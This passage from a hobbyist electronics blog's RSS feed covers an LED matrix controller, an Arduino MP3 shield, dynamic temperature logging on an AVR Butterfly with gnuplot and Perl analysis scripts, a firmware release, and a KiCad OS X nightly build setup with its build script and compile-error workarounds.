<div class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/mlmc/photos/IMG_9370.jpg"><img title="MLMC v1.0" src="http://www.brokentoaster.com/mlmc/photos/IMG_9370.jpg" alt="Bottom view of the controller PCBs." width="300" /></a><p class="wp-caption-text">Bottom view of the controller PCBs.</p></div>
<p> This Modular LED Matrix Controller (MLMC) <a title="Modular LED Matrix Controller (MLMC)" href="http://www.brokentoaster.com/blog/?p=80">all started about 3 years ago</a> and you can find all the info and a demonstration video at <a title="Modular LED Matrix Controller" href="http://www.brokentoaster.com/mlmc/">the project web page</a>.</p>
<p> Once a couple of initial glitches in the system had been worked out the modules turned out to be both reliable and easy to drive.</p>
<p> The power consumption as on average 12mA per module while displaying scrolling text. The current consumption is reasonably nicely distributed about the average without any large peaks in current. Each module&#8217;s refresh rate is slightly out of sync with its neighbour due to the differences in each of the AVRs on-board oscillators. This has the side effect that all columns switch on at a slightly different time and avoids causing a large spike in the current. While not deliberately designed to act this way it is a benefit of the multiple controller modular design.</p>
<p> Trying to drive 1280 LEDs from just 4 wires was not without its problems, the three main problems are covered in greater detail in later posts but in brief they were as follows:</p>
<ul>
<li>Synchronisation issues caused by jitter, noise and missing bits</li>
<li>Clocking out the last word from one module to the next</li>
<li>PCB design error &#8211; SPI pins are not always the same as the ISP serial programming pins.</li>
<li>Component Choice. Not enough memory for desired bit depth or bandwidth to achieve original functionality </li>
<li> USI in SPI mode is not the same as hardware SPI </li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=1056</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Arduino MP3</title>
		<link>http://www.brokentoaster.com/blog/?p=1010</link>
		<comments>http://www.brokentoaster.com/blog/?p=1010#comments</comments>
		<pubDate>Tue, 05 Jul 2011 21:23:30 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[arduino]]></category>
		<category><![CDATA[AVR]]></category>
		<category><![CDATA[mp3]]></category>
		<category><![CDATA[shield]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=1010</guid>
		<description><![CDATA[The Arduino MP3 webpage is finally up and the source code for the project is on github. You can find the web pages at: http://www.brokentoaster.com/arduinomp3 You can find all the future development at GitHub via this link: https://github.com/brokentoaster/ArduinoMP3]]></description>
				<content:encoded><![CDATA[<div id="attachment_912" class="wp-caption aligncenter" style="width: 310px"><a href="http://brokentoaster.com/arduinomp3/photos/ArduinoMP3-REVC_landscape_med.JPG"><img src="http://brokentoaster.com/arduinomp3/photos/ArduinoMP3-REVC_landscape_med.JPG" alt="" title="ArduinoMP3 (Rev C)" width="300" height="225" class="size-medium wp-image-912" /></a><p class="wp-caption-text">ArduinoMP3 (Rev C)</p></div>
<p> The Arduino MP3 webpage is finally up and the source code for the project is on github.</p>
<p>You can find the web pages at:<br />
<a href="http://www.brokentoaster.com/arduinomp3"></p>
<p>http://www.brokentoaster.com/arduinomp3</a></p>
<p>You can find all the future development at GitHub via this link:<br />
<a href="https://github.com/brokentoaster/ArduinoMP3"></p>
<p>https://github.com/brokentoaster/ArduinoMP3</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=1010</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dynamic Logging Examples</title>
		<link>http://www.brokentoaster.com/blog/?p=911</link>
		<comments>http://www.brokentoaster.com/blog/?p=911#comments</comments>
		<pubDate>Mon, 27 Jun 2011 18:01:01 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[AVR]]></category>
		<category><![CDATA[AVR butterfly]]></category>
		<category><![CDATA[logging]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=911</guid>
		<description><![CDATA[As I mentioned in an earlier post, the Butterfly Logger now has a dynamic logging feature. This post elaborates on the benefits and costs of the feature using some data gathered during testing. Some examples of the output while using the feature is shown below in figures 1 and 2. In processing the output from [...]]]></description>
				<content:encoded><![CDATA[<p>As I mentioned in an earlier post, the<a href="http://www.brokentoaster.com/butterflylogger/"> Butterfly Logger</a> now has a dynamic logging feature.  This post elaborates on the benefits and costs of the feature using some data gathered during testing.  Some examples of the output while using the feature is shown below in figures 1 and 2. In processing the output from the logger I created a couple of scripts to analyse the data and create graphs. These are included below as listings 1 and 2.  While the new feature allows us to log for longer without the risk of missing events, it also costs us in no longer being able to predict how long a logger can be deployed for in the field. </p>
<h3>A Graphical Overview</h3>
<div id="attachment_912" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2011/05/d5_impules.png"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2011/05/d5_impules-300x225.png" alt="" title="150 Samples as impules" width="300" height="225" class="size-medium wp-image-912" /></a><p class="wp-caption-text">Figure 1: Dynamic logging example.</p></div>
<p>The two part graph shown above in figure 1 demonstrates the increasing and decreasing of logging frequency as the monitored signal changes more or less quickly. The signal being monitored in this example is the ambient temperature of my garage over a week in March 2011.  This was done using the AVR Butterfly&#8217;s onboard thermistor.  </p>
<p>The upper  part of the graph shows the temperature plotted in order sampled as it is stored in the memory of the logger.  The lower part of the graph plots the temperature against time.  This is done using the date and time as recorded by the logger and using the following lines in gnuplot:</p>
<pre class="brush: plain; title: ; notranslate">
set xdata time
set timefmt &quot;%Y/%m/%d %H:%M:%S&quot;
plot 'dataFile.log' using 1:8 with impulses notitle
</pre>
<p>The temperature in the lower section is plotted as impulses simply to highlight the change in logging frequency. </p>
<div id="attachment_898" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2011/05/d5_comparison.png"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2011/05/d5_comparison-300x225.png" alt="" title="Dynamic Logging of Temperature" width="300" height="225" class="size-medium wp-image-898" /></a><p class="wp-caption-text">Figure 2: Comparison of data plotted against time or sample index.</p></div>
<p>The above graph in figure 2 shows a much larger sample from the same logging session.  In this plot you can again see the differences between the samples recorded in memory and the samples plotted against time.  </p>
<p>You will notice how the samples actually recorded only ever differ by a fixed amount.  This is evident through the constant slope of the upper section of the graph.  This constant slope, either increasing or decreasing, is an artefact of the logging threshold value. The threshold value is set at compile time in the software.</p>
<p>The software also has a timeout parameter  that establishes the maximum logging interval.  If no timeout is set the system will only log when the threshold has been exceeded, however if the parameter has been set then the logger will record a sample after a fixed period time (even if the sample threshold has not been exceeded).  </p>
<p>The minimum interval is specified by the sample period parameter as used when logging in the standard mode. The timeout value is simply specified as a multiple of this interval.</p>
<div id="attachment_899" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.brokentoaster.com/blog/wp-content/uploads/2011/05/d5_resolution.png"><img src="http://www.brokentoaster.com/blog/wp-content/uploads/2011/05/d5_resolution-300x225.png" alt="" title="Dynamic Logging  Resolution" width="300" height="225" class="size-medium wp-image-899" /></a><p class="wp-caption-text">Figure 3: Dynamic resolution of the data expressed as number of samples per hour.</p></div>
<p>Figure 3 is yet further analysis on the same data from the previous two graphs.  This plot shows the logging resolution over time.  The resolution is expressed as the number of samples recorded per hour.  This figure was calculated by processing the data and counting the number of samples recorded that hour. Where no data is recorded for a given hour a zero is recorded. A Perl script to produce this data from the logger output is shown below in listing 2.</p>
<p>This example gives us a good metric for measuring the effectiveness of dynamic logging. If you examine the graph you can see that, at its peak rate, the logger is recording at a resolution of 30 samples per hour. The logging interval for this session was set to once per second, giving us a maximum sample rate of 3600 samples per hour. As the rate is dynamic it makes sense to also look at the average rate over the whole period, which is just over 2 samples per hour. If we compare the average rate to the peak rate we can gauge the efficiency introduced by the dynamic logging feature.</p>
<table>
<tr>
<td colspan="2"><strong>TABLE 1: Numerical summary</strong></td>
</tr>
<tr>
<td>
<tr>
<td>Number of hours monitored:            </td>
<td>168</td>
</tr>
<tr>
<td>Number of samples recorded:           </td>
<td>350</td>
</tr>
<tr>
<td>Minimum sample rate:                  </td>
<td>none </td>
</tr>
<tr>
<td>Maximum sample rate:                 </td>
<td> 3600 samples per hour</td>
</tr>
<tr>
<td>Average sample rate:                  </td>
<td>2.1 samples per hour</td>
</tr>
<tr>
<td>Samples needed if using peak rate:    </td>
<td>5040</td>
</tr>
<tr>
<td>Samples needed if using maximum rate: </td>
<td>604,000</td>
</tr>
</table>
<h3>Conclusions</h3>
<h4>The benefits of dynamic logging</h4>
<p>By looking at the number of samples needed at the peak sample rate and comparing this to the number of samples used, we can calculate the theoretical saving in redundant samples.  If we were to capture the same data using standard methods we would have used over 14 times more samples.  As our storage space is limited, if we were using a standard technique we could only log for a much shorter time.</p>
<p>This reduction in space used can be taken advantage of in two ways.  If the temperature characteristics in the garage remain unchanged the logger could record for 3 years without  filling up the flash.  This is much much more than possible using the standard technique.   Another way to utilise this extra space  would be to log more sensors over the same period as possible with standard logging. </p>
<p>Other than storage savings the major benefit of the dynamic sample rate is that dramatic events are not missed. If we had wanted to conserve storage space using standard methods we would risk the possibility of sudden changes in the data being overlooked by a much slower sample rate.<br />
Using a dynamic rate we get the benefits of a higher sample rate without the storage cost.</p>
<h4>The costs of dynamic logging</h4>
<p>There are a couple of disadvantages to this dynamic sample rate technique. One of these is the reduction in resolution in our sensors. This is due to the threshold introduced before a sample is taken.  The resolution of the ADC has effectively been reduced from 1024 to approximately 340 levels.  For our example this reduces the temperature to a resolution of 0.1&deg;C per level in the temperature range we are looking at. (< Due to the non-linear nature of the thermistor, the effective temperature resolution will change of over the range of the sensor >) </p>
<p>The logger will also consume more power due to being out of sleep mode more often. The logger needs to leave sleep mode often to check if it should be recording a sample to flash. Compared to just reading of the sensorsWriting to flash is by far the most power hungry activity of the logger when c, because of this I don&#8217;t anticipate the extra power requirements to be too great, although I have not actually measured the impact.</p>
<p>When using a fixed sample rate technique you can calculate the exact length of time a logger will be able to log for prior to deployment. With the dynamic sample rate you can no longer know how long you can log for when deploying a logger.  To mitigate this issue you could either make a prediction based on prior knowledge or develop a method to alert the user when the memory is approaching capacity.</p>
<p>Using data previously gathered in an environment you can predict how long it is reasonably likely to log for. Using the example data used I would calculate the expected logging capacity based on 700 samples a week (< Doubling the average sample rate we saw in the data simply for reasons of contingency. >).  Using this value would allow logging for something like 80 weeks or so.  This is of course still 7 times longer than standard logging would allow.  These types of calculations could potentially  be incorporated to the firmware to make using dynamic logging more useful.</p>
<h3>Scripts</h3>
<p>As promised above I have included the scripts used to produce the data and graphs. They might be useful to anyone getting started with using Gnuplot, BASH and Perl to automate graphing and analysis.</p>
<pre class="brush: bash; title: ; notranslate">
#!/bin/sh

# script to plot logging results temperature against time.
# also plot temperature samples for comparison and analysis of
# the dynamic logging system.

#assume arg 1 is name of file with ^M's ^D's and non data lines already removed.

maxtemp=30

# look at number of points per hour
#cut -d\  -f2 ${1} | cut -d: -f1 | uniq -c &gt; ${1}_res

# TODO: need to pad out hours with zero points
# DONE: use pad.pl to calculate number of samples per hour and pad any zeros
# 	Does not check for an entire day with out samples though.
cat ${1} | ./pad.pl &gt; ${1}_res

gnuplot &lt;&lt; EOF
set terminal png size 1024,768 enhanced font &quot;/Library/Fonts/Microsoft/Arial,12&quot;
set output &quot;$1_resolution.png&quot;
set origin 0,0
set grid
set yrange [0:35]
set title 'Logging resolution over time'
set ylabel 'No. of samples per hour'
set xlabel 'Hour of sampling' 
plot '${1}_res' u 2 w i  not

set output &quot;${1}_comparison.png&quot;
set multiplot
set origin 0,0.5
set size 1,0.5
set xdata 
set yrange [0:${maxtemp}]
set title 'Ambient Temperature'
set xlabel 'Sample'
set ylabel 'Temperature (°C)'
plot '$1' u 8 w l not

set origin 0,0
set size 1.0,0.5
set xdata time
set timefmt &quot;%Y/%m/%d %H:%M:%S&quot;
set ylabel 'Temperature (°C)'
set yrange [0:${maxtemp}]
set xlabel 'Time'
set title ''
set format x &quot;%d %b&quot;
plot '$1' u 1:8 w l not

set output &quot;${1}_impules.png&quot;
set multiplot
set origin 0,0.5
set size 1,0.5
set xdata 
set yrange [0:${maxtemp}]
set title '150 Samples of Ambient Temperature'
set xlabel 'Sample'
set ylabel 'Temperature (°C)'
plot '&lt; head -150 $1' u 8 w l not

set origin 0,0
set size 1.0,0.5
set xdata time
set timefmt &quot;%Y/%m/%d %H:%M:%S&quot;
set ylabel 'Temperature (°C)'
set yrange [0:${maxtemp}]
set xlabel 'Time'
set title ''
set format x &quot;%d %b&quot;
plot '&lt; head -150 $1' u 1:8 w i not
EOF

open $1_resolution.png
open $1_comparison.png
open $1_impules.png
</pre>
<p><strong>Listing 1: BASH script to process the data into graphs.</strong></p>
</p>
<pre class="brush: perl; title: ; notranslate">
#!/usr/bin/perl -w

use strict;
# simple script to process temperature logs and show number of samples per hour

# my old script did this...
## look at number of points per hour
##  cut -d\  -f2 ${1} | cut -d: -f1 | uniq -c &gt; ${1}_res
# .. but that didn't account for hours with no samples at all.

# my variables...
my @lines;
my $line;
my $hour;
my $previous_hour;
my $first = 1;
my $count = 0;
my @fields;
my @time;

# read in all lines from stdin
chomp(@lines = &lt;STDIN&gt;); 

#process each line in turn
foreach $line (@lines) {
		
		# extract the hour value from the time, ignoring the date.
		@fields = split /\s+/,$line;
		@time = split /:/,$fields[1];
		$hour = $time[0];
		
		# set up the previous_hour for the first line to enable the count
		if ($first == 1){
			$previous_hour = $hour;
			$first = 0;
		}
		
		if ($hour == $previous_hour){
			#increment the count of samples for this hour 
			$count++;

		} else{
			#  print our total and move on to the next hour
			print &quot;$previous_hour \t $count \n&quot;;
			$count = 0;
			$previous_hour++;
			$previous_hour %= 24;
			
			# check for non consecutive hours and pad out with zero totals
			# assuming their hasn't been a total day without samples
			while ($previous_hour != $hour){
				print &quot;$previous_hour \t $count \n&quot;;	
				$previous_hour++;
				$previous_hour %= 24;
			}
			
			# remember to count this first new sample in our totals 
			$count=1;
		}	
}

# done
</pre>
<p><strong>Listing 2: PERL script to process the data logger output and calculate the number of samples per hour.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=911</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Butterfly Logger Firmware 0.31A</title>
		<link>http://www.brokentoaster.com/blog/?p=896</link>
		<comments>http://www.brokentoaster.com/blog/?p=896#comments</comments>
		<pubDate>Tue, 03 May 2011 22:17:38 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[AVR]]></category>
		<category><![CDATA[AVR butterfly]]></category>
		<category><![CDATA[logging]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=896</guid>
		<description><![CDATA[I&#8217;ve just completed another release of firmware for the AVR Butterfly Logger project. It can be download it at the project site on Sourceforge. New Features The main feature of this update is dynamic logging. I&#8217;ll post some examples of this in action soon but for now I&#8217;ll just give you a basic overview. Dynamic [...]]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve just completed another release of firmware for the <a href="http://www.brokentoaster.com/butterflylogger/">AVR Butterfly Logger project</a>.  It can be download it at the <a href="https://sourceforge.net/projects/butterflylogger/files/butterflylogger/0.31/">project site</a> on Sourceforge.</p>
<h3>New Features</h3>
<p>The main feature of this update is dynamic logging.  I&#8217;ll post some examples of this in action soon but  for now I&#8217;ll just give you a basic overview. </p>
<p>Dynamic logging means that the period between samples is altered dynamically at runtime depending on the state of the system being monitored.  If the system is undergoing rapid change then many samples will be taken automatically.  If the system is stable then very few samples will be taken at that time.  This has the same effect as sampling continuously at a high sample rate but removing any repeated or redundant data except that the repeated and redundant data is simply never recorded.</p>
<p>When using the dynamic logging feature you will need to log time and date to enable you to be able to properly reconstruct the data later once downloaded.</p>
<p>The dynamic logging feature also has an optional timeout value so that if no change has been read from the ADC for a large number of log attempts then a log is forced to ensure a minimum resolution such as 1 sample every hour is maintained.</p>
<p>Currently the dynamic logging feature only monitors a single ADC channel. I have plans to extend it to monitor other sensors and also multiple sensors simultaneously in future releases.</p>
<p>Setup and options for the dynamic logging features are currently maintained in the file <tt>main.h</tt>.  There are some comments in the file to explain the options available.</p>
<p>To save on program space the dynamic logging parameters can be implemented as a compile time option.  If more flexibility is wanted the features can also be implemented with the parameters as runtime changeable options that can be altered via the serial port interface.</p>
<h3>Bug Fixes</h3>
<p>This version also includes a fix for an issue with updating the LCD readings after the flash was full.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=896</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>KiCad OS X nightly development builds are back</title>
		<link>http://www.brokentoaster.com/blog/?p=811</link>
		<comments>http://www.brokentoaster.com/blog/?p=811#comments</comments>
		<pubDate>Wed, 09 Feb 2011 21:01:52 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[bash]]></category>
		<category><![CDATA[osx]]></category>
		<category><![CDATA[pcbs]]></category>
		<category><![CDATA[scripting]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=811</guid>
		<description><![CDATA[After about eight months of not running I have fixed my nightly builds of KiCad for OS X. I have finally found the time to switch my KiCad repository over to the Bazaar and launchpad system that the KiCad developers have been using for some time now. After a few changes here and there and [...]]]></description>
				<content:encoded><![CDATA[<p>After about eight months of not running I have fixed my nightly builds of KiCad for OS X. I have finally found the time to switch my <a href="http://kicad.sourceforge.net/wiki/index.php/Main_Page" class="broken_link">KiCad</a> repository over to the <a href="http://bazaar.canonical.com/en/">Bazaar</a> and <a href="https://launchpad.net/kicad">launchpad</a> system that the KiCad developers have been using for some time now.</p>
<p>After a few changes here and there and updating wxWidgets to 2.9.1 I have the nightly build system back up and running. The build script I am using is given at the end of this post in<a href="#listing4"> Listing 4.</a></p>
<p>The KiCad compiling instructions for OS X have been updated and now work a lot better. You should be able to find the latest version over at launchpad <a href="http://bazaar.launchpad.net/~kicad-testing-committers/kicad/testing/view/head:/Documentation/compiling/mac-osx.txt">here</a>. </p>
<p>In case anyone else runs into similar problems I have repeated some of the errors and my <del>hacks</del>/<del>work-arounds</del>  solutions below.</p>
<p>The nightly builds themselves are <a href="http://www.brokentoaster.com/kicad">here</a> as usual.</p>
<p style="border-style:solid; border-width:1px 0px 0px 0px;"</p>
<h3>Getting it to compile again.</h3>
<p>After following the compilation instructions referred to above, I ran into the following error. After a bit of web crawling  and <a href="http://www.mail-archive.com/kicad-developers@lists.launchpad.net/msg00532.html">reading development lists</a> I found that I needed to use the XML library built into wxWidgets rather than the system one.</p>
<p>The error looked like this:</p>
<blockquote><p>Linking CXX executable eeschema.app/Contents/MacOS/eeschema<br />
Undefined symbols:<br />
  &#8220;_XML_GetErrorCode&#8221;, referenced from:<br />
      wxXmlDocument::Load(wxInputStream&#038;, wxString const&#038;, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)<br />
  &#8220;_XML_ErrorString&#8221;, referenced from:<br />
      wxXmlDocument::Load(wxInputStream&#038;, wxString const&#038;, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)<br />
  &#8220;_XML_SetUnknownEncodingHandler&#8221;, referenced from:<br />
      wxXmlDocument::Load(wxInputStream&#038;, wxString const&#038;, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)<br />
  &#8220;_XML_SetCharacterDataHandler&#8221;, referenced from:<br />
      wxXmlDocument::Load(wxInputStream&#038;, wxString const&#038;, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)<br />
  &#8220;_XML_SetUserData&#8221;, referenced from:<br />
      wxXmlDocument::Load(wxInputStream&#038;, wxString const&#038;, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)<br />
  &#8220;_XML_ParserFree&#8221;, referenced from:<br />
      wxXmlDocument::Load(wxInputStream&#038;, wxString const&#038;, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)<br />
  &#8220;_XML_SetCdataSectionHandler&#8221;, referenced from:<br />
      wxXmlDocument::Load(wxInputStream&#038;, wxString const&#038;, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)<br />
  &#8220;_XML_SetCommentHandler&#8221;, referenced from:<br />
      wxXmlDocument::Load(wxInputStream&#038;, wxString const&#038;, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)<br />
  &#8220;_XML_Parse&#8221;, referenced from:<br />
      wxXmlDocument::Load(wxInputStream&#038;, wxString const&#038;, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)<br />
  &#8220;_XML_SetElementHandler&#8221;, referenced from:<br />
      wxXmlDocument::Load(wxInputStream&#038;, wxString const&#038;, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)<br />
  &#8220;_XML_ParserCreate&#8221;, referenced from:<br />
      wxXmlDocument::Load(wxInputStream&#038;, wxString const&#038;, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)<br />
  &#8220;_XML_GetCurrentLineNumber&#8221;, referenced from:<br />
      _StartCdataHnd in libwx_osx_cocoau-2.9.a(monolib_xml.o)<br />
      _CommentHnd in libwx_osx_cocoau-2.9.a(monolib_xml.o)<br />
      _TextHnd in libwx_osx_cocoau-2.9.a(monolib_xml.o)<br />
      _StartElementHnd in libwx_osx_cocoau-2.9.a(monolib_xml.o)<br />
      wxXmlDocument::Load(wxInputStream&#038;, wxString const&#038;, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)<br />
  &#8220;_XML_SetDefaultHandler&#8221;, referenced from:<br />
      wxXmlDocument::Load(wxInputStream&#038;, wxString const&#038;, int)in libwx_osx_cocoau-2.9.a(monolib_xml.o)<br />
ld: symbol(s) not found<br />
collect2: ld returned 1 exit status<br />
make[2]: *** [eeschema/eeschema.app/Contents/MacOS/eeschema] Error 1<br />
make[1]: *** [eeschema/CMakeFiles/eeschema.dir/all] Error 2<br />
make: *** [all] Error 2</p></blockquote>
<p><b>Error 1: Missing XML library </b></p>
<p>This was fixed by adding the <tt>--with-expat=builtin</tt> option when configuring wxWidgets.</p>
<p>This then lead me to another error to do with wxWidgets headers using anonymous enums and anonymous types. Part of this second error is shown below. </p>
<blockquote><p>/opt/wxwidgets-svn/include/wx-2.9/wx/combo.h: In member function &#8216;bool wxComboPopup::IsCreated() const&#8217;:<br />
/opt/wxwidgets-svn/include/wx-2.9/wx/combo.h:774: error: &#8216;<anonymous enum>&#8216; is/uses anonymous type<br />
/opt/wxwidgets-svn/include/wx-2.9/wx/combo.h:774: error:   trying to instantiate &#8216;template<class T> struct boost::polygon::is_polygon_90_set_type&#8217;<br />
/opt/wxwidgets-svn/include/wx-2.9/wx/combo.h:774: error: &#8216;<anonymous enum>&#8216; is/uses anonymous type<br />
/opt/wxwidgets-svn/include/wx-2.9/wx/combo.h:774: error:   trying to instantiate &#8216;template<class T> struct boost::polygon::is_polygon_45_or_90_set_type&#8217;<br />
/opt/wxwidgets-svn/include/wx-2.9/wx/combo.h:774: error: &#8216;<anonymous enum>&#8216; is/uses anonymous type<br />
/opt/wxwidgets-svn/include/wx-2.9/wx/combo.h:774: error:   trying to instantiate &#8216;template<class T> struct boost::polygon::is_any_polygon_set_type&#8217;<br />
make[2]: *** [gerbview/CMakeFiles/gerbview.dir/class_gerber_draw_item.cpp.o] Error 1<br />
make[1]: *** [gerbview/CMakeFiles/gerbview.dir/all] Error 2<br />
make: *** [all] Error 2</p></blockquote>
<p><b>Error 2: Anonymous enums using anonymous types being marked as  errors by the compiler</b></p>
<p>Rather than figure out which flag to set on the cmake/compiler/linker mess, I went for a brute-force approach that I found <a href="http://osdir.com/ml/encryption.cryptopp/2005-09/msg00000.html">here</a> after a small amount of searching. I have expanded from the script given to the ones below to account for the particular style used in the wxWidgets header files.</p>
<blockquote><p>for i in `grep -l &#8216;enum {&#8216; *.h | sed -e &#8216;s/\.h//g&#8217;` ; \<br />
do \<br />
perl -pi -e \<br />
&#8220;s/enum {/&#8217;enum en_$i&#8217; . int(rand(100)) .&#8217; {&#8216;/eg&#8221; $i.h; \<br />
done</p></blockquote>
<p><strong>Listing 1: Small script to replace all occurances of &#8220;enum {&#8221; with &#8220;enum en_filenameXX {&#8220;</strong></p>
<p>Listing 1 is the original script given which enumerates the anonymous enums with a name consisting of the filename (without the extension) and a random number from 0-99.</p>
<p>This next command I adapted from the first to account for the fact that the style of the wxWidgets header files meant that a lot of the enums were declared with the keyword enum alone on a line with the rest of the declaration on the following line.   This finds those declarations and assigns them a name similar to the first script but with a number from 100-199 to ensure we don&#8217;t repeat names already given. It is shown below in Listing 2.</p>
<blockquote><p>for i in `grep -l &#8216;^enum en_.*$&#8217; *.h | sed -e &#8216;s/\.h//g&#8217;` ;\<br />
 do \<br />
perl -pi -e \<br />
&#8220;s/^enum$/&#8217;enum en_$i&#8217; . int(rand(100)+100) .&#8221;/eg&#8221; $i.h;\<br />
 done</p></blockquote>
<p><strong>Listing 2: Small script to replace all occurrences of &#8220;enum&#8221; with &#8220;enum en_filename1XX &#8221; where &#8220;enum&#8221; occurs by itself on a line and assuming the rest of the declaration continues on the following line.</strong></p>
<p>The problem with the previous two scripts is that they use a random number to assign the unique identifier. Being random there is the possibility that this number can come up twice.<br />
This last command (Listing 3) helps us check for duplicate names generated by the previous scripts.  We then need to go in and fix the duplicates by hand.</p>
<blockquote><p>grep &#8216;enum en&#8217; *.h   | sort | uniq -c | sort -n </p></blockquote>
<p><strong>Listing 3: Command to check for duplicate names created by previous two scripts.<br />
</strong></p>
<p>A single script could be written to give unique identifiers to all the anonymous enums and ensure that the identifiers are unique. But as this was a quick enough process and solved my problems I haven&#8217;t bothered to refine it further. Perhaps next time I update wxWidgets I&#8217;ll give it another thought. I thought this was a useful enough hack to share.</p>
<p style="border-style:solid; border-width:1px 0px 0px 0px;"</p>
<p><a name="listing4"></a></p>
<h3>Automating the builds</h3>
<p>Listing 4 below shows my daily build script which automatically updates the code to the latest development snapshot via Bazaar. Next it will check if the version has changed and if so build and package the latest version.  If this all goes well we compress the new version into an archive and upload it to the website. If the compilation does not complete according to plan then the error log and some other useful information is uploaded to the website instead. Note that all usernames and passwords have been changed to placeholders in this version. This is run every day (or night depending on your time zone) by a <a href="http://en.wikipedia.org/wiki/Cron">cron</a> job.</p>
<blockquote><p>
#!/bin/sh<br />
#<br />
. /Users/nick/.bashrc</p>
<p>#Make a nightly build of KiCad</p>
<p>#update from launchpad using bazaar<br />
cd /Temp/kicad.bzr/kicad/<br />
bzr update</p>
<p>new_version=`bzr revno`<br />
old_version=`cat /temp/install/version.txt`<br />
if [ $new_version -gt $old_version ]<br />
then</p>
<p>	#build it<br />
	cd build/release</p>
<p>	cmake ../../ -DwxWidgets_CONFIG_EXECUTABLE=&#8221;/usr/local/bin/wx-config&#8221; -DwxWidgets_ROOT_DIR=&#8221;/opt/wxwidgets-svn/include/wx-2.9/&#8221; -DCMAKE_INSTALL_PREFIX=&#8221;/temp/install&#8221; -DCMAKE_OSX_ARCHITECTURES=&#8221;ppc -arch i386 -arch x86_64 -isysroot /Developer/SDKs/MacOSX10.5.sdk/ -mmacosx-version-min=10.5&#8243; -DCMAKE_CXX_FLAGS=&#8221;-D__ASSERTMACROS__&#8221; -DCMAKE_OSX_SYSROOT=&#8221;/Developer/SDKs/MacOSX10.5.sdk&#8221;</p>
<p>#	make clean<br />
	if  make > /temp/kicad_errors-${new_version}.txt 2>> /temp/kicad_errors-${new_version}.txt &#038;&#038; make install<br />
	then<br />
	 	file=kicad_osx_v${new_version}<br />
		echo $new_version > /temp/install/version.txt<br />
		mv /temp/kicad_errors-${new_version}.txt /temp/install/build_log.txt </p>
<p>		#bundle<br />
		cd /temp/<br />
		cp -rf install ${file}<br />
		tar -czf ${file}.tgz ${file} </p>
<p>		#upload<br />
		curl -T ${file}.tgz  ftp://user:password@ftp.brokentoaster.com/<br />
		rm -rf ${file}	</p>
<p>#		cd /temp/kicad-sources/build/release/<br />
	#	/Developer/usr/bin/packagemaker &#8211;doc osx-package.pmdoc &#8211;title &#8216;Kicad&#8217; -o ${file}.mpkg<br />
	#	curl -T ${file}.mpkg ftp://user:password@ftp.brokentoaster.com/</p>
<p>	else</p>
<p>		#insert some useful debug info<br />
		echo &#8220;*** GCC Version Info ***&#8221;>> /temp/kicad_errors-${new_version}.txt<br />
		gcc -v >> /temp/kicad_errors-${new_version}.txt</p>
<p>		echo &#8220;*** wxWdgets Version Info ***&#8221;>> /temp/kicad_errors-${new_version}.txt<br />
		wx-config &#8211;list >> /temp/kicad_errors-${new_version}.txt<br />
		head /Volumes/Store/wxWidgets-2.9.1/osxbuild/config.log >> /temp/kicad_errors-${new_version}.txt</p>
<p>		curl -T /temp/kicad_errors-${new_version}.txt  ftp://user:password@ftp.brokentoaster.com/<br />
	fi</p>
<p>	# go to sleep<br />
	if [ ! -e /Users/nick/Applications/insomnia.flag.true ]<br />
	then<br />
		open /Users/nick/Applications/SleepNow.app<br />
 	fi<br />
else<br />
	echo &#8220;KiCad is up to date : ) &#8221;<br />
fi
</p></blockquote>
<p><strong>Listing 4: BASH script to update, build and upload KiCad. This is run daily via a cron job<br />
</strong></p>
<p>So if you want to test the latest developer build of KiCad on OS X then look no further than <a href="http://www.brokentoaster.com/kicad">here</a>.</p>
<p style="border-style:solid; border-width:1px 0px 0px 0px;"</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=811</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Butterfly Logger Firmware 0.30C (bugfix)</title>
		<link>http://www.brokentoaster.com/blog/?p=702</link>
		<comments>http://www.brokentoaster.com/blog/?p=702#comments</comments>
		<pubDate>Sat, 22 Jan 2011 11:07:09 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[AVR]]></category>
		<category><![CDATA[AVR butterfly]]></category>
